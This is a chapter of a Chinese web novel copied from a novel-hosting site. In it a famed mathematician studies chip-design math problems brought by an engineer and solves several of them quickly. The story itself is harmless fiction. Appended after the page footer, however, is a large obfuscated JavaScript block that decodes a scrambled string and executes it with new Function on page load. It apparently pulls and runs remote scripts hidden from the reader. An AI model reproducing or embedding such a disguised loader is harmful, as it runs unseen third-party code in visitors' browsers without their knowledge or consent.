首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第四百八十七章:难以形容的震撼

下载APP,无广告、完整阅读
    送走了两人后,徐川返回二楼收拾了一下行李。
    如果按照以往的习惯,他一般都会在老家呆到十二日年过完再出发。
    毕竟一年到头都难得回来几次,好好陪陪父母走走亲戚是过年肯定要做的事情。
    不过今年情况特殊,他也就准备初六或初八离开了。
    虽然不知道海思和华芯将芯片研究推进到了一个怎样的地步,但国际形势和国家对于芯片的渴望,的确不容乐观。
    在下午和两人聊天的时候,丁经国这位发改的领导不止一次提到了这些事情,尤其是在可控核聚变技术实现后,相关的形势和发展更加严峻了。
    所以徐川准备提前结束休假,去海思和华芯那边看看情况。
    如果他能够解决这些数学问题,国家在芯片上能够有所突破的话,他还是很高兴的。
    毕竟科技的发展,从来都不是一个人的事情。
    就像是可控核聚变的突破一样,如果没有其他科研人员,工程师,甚至是安保,建设等基层工作人员的努力,也不可能实现。
    在那些容易被常人忽视的领域,有着无数人默默的奋斗。
    和父母道别后,徐川搭乘高铁先赶回了金陵。
    紫金山脚下的别墅外,在郑海的带领下,一名中年男子有些忐忑紧张,又有些期待的通过了安检,进入了这栋看起来并不突出的别墅。
    “徐院士,华芯那边的人带过来了。”客厅中,郑海汇报道。
    徐川点了点头,笑道:“麻烦你了。”
    郑海:“我就先出去了,如果有什么事情,您随时喊我就行。”
    敬了个礼,郑海转身离开。客厅中,就剩下了徐川和华芯那边安排过来的中年男子。
    看到端坐在客厅中的那道身影,中年男子有些紧张忐忑,又有些期待敬仰。
    毕竟这可是那位传说中的大牛,光论成就,他和历史上那些被人仰慕的知名人物已经没什么区别了。
    徐川倒没太在意,看了一眼紧张站在那里的中年男子,他笑着开口道:“先坐吧,数据问题带来过来了吗?”
    “徐院士您好,我叫毛舜,是华芯技术研发部三组的组长,主要负责数学设计这块,这是您要求的资料。”
    闻言,毛舜打了个激灵,快步走上前,从随身携带的背包中取出个小盒子,输入密码后取出了一个硬盘,毕恭毕敬的递给徐川。
    徐川伸手接过硬盘,打量了两下,笑着道:“硬盘里面的这些数学问题,你都懂吗?”
    毛舜:“不敢说懂,不过大部分都了解一些。”
    这也是这次领导安排他过来的主要原因,他的级别并不算高,理论上来说,要和这位大佬对接的话,最次也应该是个副总级别的人物。
    不过昨天开会的时候,华威的那位任总就说过了,最好安排一个对芯片数学设计方面都有所了解的人过去。
    不过要说懂数学,恐怕在眼前这位大佬面前,全世界谁都不敢说自己懂数学。
    纵观整个数学史,这位大牛能排第几不好说。但是放在这个时代,他毫无疑问是数学界的第一人。
    “那就不耽搁时间了,跟我来吧。”徐川点了点头,起身朝着书房走去。
    解决芯片设计中的数学难题,这种事情宜早不宜迟。
    既然眼前这位毛舜懂一些,那就先看看过一遍再说,如果有什么问题,也可以现场让他讲解一下。
    书房中,徐川将硬盘连上了自己的计算机。
    没用笔记本,用的是郑海安排人在隔壁别墅中搭建的一台小型超算。
    如果说他的笔记本因为会连上外网查询论文之类的东西还有可能被入侵的话,那这台专门搭建的小型超算就基本没有被入侵的可能性。
    这种涉及到国家芯片发展的东西,该注意的还是要注意的。
    点开硬盘,输入密码,徐川找到了毛舜说的问题文件,认真仔细的翻阅了起来。
    虽然他对于芯片中的电路设计等领域并不了解,但芯片或者说计算机的运行基础,他还是懂的。
    计算机的奠定,离不开三个人,莱布尼茨发明了二进制,乔治·布尔带了布尔代数,而香农则描述了开关电路。
    这三种方法结合,才奠定了计算机的发展。
    二进制是十进制的算法改变,是机器运行的基础,也是数学引入生活的体现。
    它毋庸置疑是计算机的最底层,因为不管是简单也好,还是复杂也罢的难题,最终都需要通过简化成算数运算,来通过逻辑开关进行运算。
    而其中的核心,就在于使用布尔代数化将所有的运算简成为0和1的与或非操作。
    例如:加法a+b,进位就是a&b,而加完后0位是(a&!b)|(b&!a)也就是可以用与、或、非来表示加减。
    二进制配合布尔代数,能够表示所有的数学运算。
    而克劳德·艾尔伍德·香农则带来了《继电器和开关电路的符号分析》,通过继电器将二进制、布尔运算带到了现实中来,奠定了现在数字电路的基础。
    时至今日,不管芯片的集成度不断的增加,最新的CPU,GPU,手机处理器等等设备如何发布,甚至是晶体管的数量都已经超过百亿级别。
    但其内部运行的数学逻辑,仍然是莱布尼茨提出的二进制,布尔发明的布尔计算,以及香农描述的开关电路。
    一直没有改变!
    当然,这只是最底层的基础。
    如今计算机芯片中的真正的运算和设计,比这复杂的多。
    包括徐川这会看的资料。
    虽然并不是很懂芯片设计方面的东西,但数学和建模他是懂的。
    所以他并没有第一时间去翻阅那些数学难题,而是先通过文档资料了解了一些信息。
    毕竟连情况都不了解的话,他也不可能去解决问题。
    这就好比要解决一个数学难题,你总得先了解它的问题核心点到底在哪里一样。
    透过毛舜带来的这份资料,他大致了解了海思和华芯那边的想法和进度情况。
    从资料上来看,这两家公司针对性设计的七纳米芯片,其架构是基于ARM架构的。
    所谓的Arm构架,是由ARM公司针对各种微构架进行实作,以提供各种功耗、性能以及面积组合的软件兼容性架构,是目前处理器(CPU)三个最强的架构之一。
    购买别人的基础架构,再进行发展,这在芯片行业中是一件很常见的事情。
    就像是研究一个数学难题绝大部分的学者都需要踩在前人的肩膀上继续前进一样。
    从头到尾构造属于自己的方法这种事情,终究还是一件极少数的事情。
    而海思和华芯做的就是这样的事情。
    他们通过深入研究ARM架构,在上面继续优化改造,建立了一套属于自己的NPU神经性网络架构。
    所谓的NPU(嵌入式神经网络处理器/网络处理器)就是一种专门应用于网络应用数据包的处理器,它也是集成电路的一种。
    但区别于特殊用途集成电路(ASIC)的单一功能,神经性网络器在处理更加复杂的问题方面更加灵活。
    一般都可以利用软件或硬件依照网络运算的特性特别编程从而实现网络的特殊用途,在一块芯片上实现许多不同功能,以应用于多种不同的网络设备及产品。
    而海思和华芯设计的这套架构,通过采用“数据驱动并行计算”的方式,在处理视频、图像类的海量多媒体数据上相对比传统方式更加擅长。
    可以说是青出于蓝而胜于蓝。
    不过目前这套架构在构造的时候涉及到了很多的系统性的数学难题,比如激活函数、二维数据运算、解压缩等模块等等。
    如果是在常规的CPU或者GPU芯片中,这些问题并不是难题。但是NPU神经性网络架构和前两者的性质不同,其数学的兼容性也完全不同。
    这就导致设计出来的芯片在性能上甚至还不如10纳米甚至是14纳米的芯片。
    目前来说,卡主海思和华芯的难点就在这里。
    神经网络和机器学习处理在现在还是处于需求爆发的初期,这方面的数学家相对比传统的CPU/GPU架构数学家要少很多,国外研究这方面的人才都没有多少,更别提国内了。
    所以迫不得已之下,发改那边才找上了他,寄希望于他能帮忙解决一下这方面的数学难题。
    了解清楚整体的情况后,徐川才点开了数学文件,翻阅了起来。
    《大规模稀疏矩阵特征值计算》
    《非线性常微分方程组的初值问题的整体解》
    《神经性网络架构下的一阶非线性时滞微分方程初值问题》
    《基于NPU的多项式矩阵特征值并行》
    《.》
    一项项的题目在他眼中划过,问题不算多,也不算少,总共十几个的样子,大部分都是基于NPU神经性网络架构下诞生的难点。
    徐川先挨个点开了问题看了看,从数学基础上来说,这些问题对于他而言并不难,但是涉及到NPU神经性网络架构,他就不是很懂了。
    要研究的话,他得先学一下NPU神经性网络架构,了解一下大致,然后再来做。
    不过也不全是这些,有两三个数学问题他现在应该就能解决。
    芯片设计中涉及到的这些数学难题再复杂,对他来说难度也就那样。
    不管多么复杂的计算方法,多么复杂的模型架构和取值,也不可能比可控核聚变中的高温高压等离子体湍流模型更加复杂,更不可能和七大千禧年难题相比。
    而在已经解决了两个七大千禧年难题的他看来,这些题目用小学生的数学来形容可能有点过于夸大,但顶多也就是大学生的程度。
    反正在看到这些题目的时候,他脑海中就已经有了解决的思路和方法。
    花费了半个多小时的时间将毛舜带过来的文档整体粗略的过了一遍后,徐川坐直了身体,伸了个懒腰后长舒了口气,靠在椅子上思索了起来。
    对面,屁股挨着半边椅子在书房中枯坐了半天的毛舜顿时就投来了期盼的目光。
    不过还未等他开口,对面的徐川就从抽屉中摸出了稿纸和笔,重新低下了头开始忙碌了起来。
    见状,已经突到了喉咙的话又被他强行咽了下去。
    对面,徐川没理会还坐在书房中的毛舜,手中的黑色签字笔快速的在稿纸上列下标题。
    【分数布朗运动驱动的随机时滞微分方程的稳定性分析】
    “一些记号和函数空间的定义设(w,F,P)是一个完备的概率空间,具有一个非降的σ代数族{Ft}t≥0满足通常的条件,即{Ft}t≥o是右连续的且Fo包含所有的P零测集,对所有的t<0,令FL=Fo.符号|·|表示”
    “则时分数Sobolev空间可以被定义为其范数为:Hs0(D)={U∈Hs(d),suppuD}”
    “.”
    【Vandermonde矩阵特征值与奇异值的高精度计算】
    “首先给出.”
    “.”
    书房中,徐川忙碌着解决问题。
    坐在他对面的办公桌边,虽然不清楚这位大佬在研究些什么东西,但毛舜也不敢出声打扰,只能默默坐在一边等着。
    时间就这样一点一滴的过去,书桌前,徐川已经忘记了房间里面还有另一个人了。
    写下了最后一行算式后,他看着书桌上的稿纸摸了摸下巴。
    三个问题,差不多了吧。
    收拾了一下桌上的稿纸,徐川按照自己的流程对解答的问题做一个检查。
    虽说这种级别的问题对他而言并没什么难度,但严谨性还是必不可少的。
    复查了一下稿纸上的答案,他满意的点了点头。
    还行,理论上来说应该没什么问题。
    对面,总算是等到了徐川停下计算的毛舜想了想,纠结犹豫了一下后还是鼓起勇气开口问道:“徐院士,您看的怎么样了?”
    徐川整理了一下桌上的稿纸,道:“我刚刚粗略的看了一下,里面大部分的问题因为涉及到了伱们那套NPU神经性网络架构方面的东西,我暂时没法给你们准确的回复。”
    “不过里面纯粹数学方面的难题,我已经帮你们解决了。”
    对面,听到这个回答,毛舜整个人顿时就懵了,结结巴巴的道:“什么叫做已经帮我们解决了?”
    徐川笑了笑,捏着稿纸站起身走到他面前,将稿纸递给了他,笑道:“字面上的意思,这些稿纸就是过程和答案,虽然还没来得及整理打印出来,不过我想也差不多,你等会将其带回去就行。”
    “至于其他的问题,我刚刚看了一下,大部分都是基于NPU神经性网络架构下诞生的难点,我可能还需要研究一下。”
    毛舜一脸懵逼的接过稿纸,翻了一下,洁白的字面上已经写满了各种数学算式。
    看着手中握着的一叠稿纸,他忍不住咽了口唾沫。
    好像,他从走进这间别墅到现在,应该还没两个小时吧?
    看了眼手表上的时间,下午两点三十四。
    清晰的听到自己吞咽口水的声音,毛舜回忆了一下,如果他没记错的话,他应该是一点钟准时到的。
    抛开安检,交流,以及这位徐院士看资料等方面的时间,满打满算,应该也就一个小时左右吧?
    他真的很难形容这种震撼。
    作为负责数学设计这块的组长,这一年来,他也接触过国内繁多的数学家,其中甚至不乏科学院的院士。
    但这一年来都没有解决的问题,在这位手上,一个小时就搞定了?
    哪怕只解决了一道,这是不是也有点太夸张了。
    (本章完)

一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();